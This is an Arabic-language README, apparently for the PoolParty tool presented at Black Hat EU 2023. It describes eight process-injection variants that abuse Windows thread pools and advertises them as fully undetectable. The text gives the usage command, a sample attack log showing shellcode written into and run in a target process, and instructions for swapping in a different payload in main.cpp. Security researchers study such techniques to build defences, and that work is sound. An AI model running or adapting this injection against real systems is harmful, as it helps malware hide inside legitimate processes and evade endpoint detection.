
مجموعة من تقنيات حقن العمليات غير القابلة للاكتشاف تماماً والتي تستغل Windows Thread Pools
مجموعة من تقنيات حقن العمليات غير القابلة للاكتشاف بالكامل والتي تسيء استخدام تجمعات خيوط Windows. تم تقديمها في إحاطات Black Hat EU 2023 تحت عنوان - The Pool Party You Will Never Forget: New Process Injection Techniques Using Windows Thread Pools
| معرف المتغير | وصف المتغير |
|---|---|
| 1 | استبدال روتين البداية لمصنع العامل المستهدف |
| 2 | إدراج عنصر عمل TP_WORK إلى تجمع خيوط العملية المستهدفة |
| 3 | إدراج عنصر عمل TP_WAIT إلى تجمع خيوط العملية المستهدفة |
| 4 | إدراج عنصر عمل TP_IO إلى تجمع خيوط العملية المستهدفة |
| 5 | إدراج عنصر عمل TP_ALPC إلى تجمع خيوط العملية المستهدفة |
| 6 | إدراج عنصر عمل TP_JOB إلى تجمع خيوط العملية المستهدفة |
| 7 | إدراج عنصر عمل TP_DIRECT إلى تجمع خيوط العملية المستهدفة |
| 8 | إدراج عنصر عمل TP_TIMER إلى تجمع خيوط العملية المستهدفة |
PoolParty.exe -V <VARIANT ID> -P <TARGET PID>
إدراج عنصر عمل TP_TIMER إلى العملية ذات المعرف 1234
>> PoolParty.exe -V 8 -P 1234
[info] Starting PoolParty attack against process id: 1234
[info] Retrieved handle to the target process: 00000000000000B8
[info] Hijacked worker factory handle from the target process: 0000000000000058
[info] Hijacked timer queue handle from the target process: 0000000000000054
[info] Allocated shellcode memory in the target process: 00000281DBEF0000
[info] Written shellcode to the target process
[info] Retrieved target worker factory basic information
[info] Created TP_TIMER structure associated with the shellcode
[info] Allocated TP_TIMER memory in the target process: 00000281DBF00000
[info] Written the specially crafted TP_TIMER structure to the target process
[info] Modified the target process's TP_POOL tiemr queue list entry to point to the specially crafted TP_TIMER
[info] Set the timer queue to expire to trigger the dequeueing TppTimerQueueExpiration
[info] PoolParty attack completed successfully
يقوم الشيلكود الافتراضي بتشغيل الآلة الحاسبة عبر واجهة WinExec API.
لتخصيص الملف القابل للتنفيذ المراد تشغيله، قم بتغيير المسار في نهاية المتغير g_Shellcode الموجود في ملف main.cpp.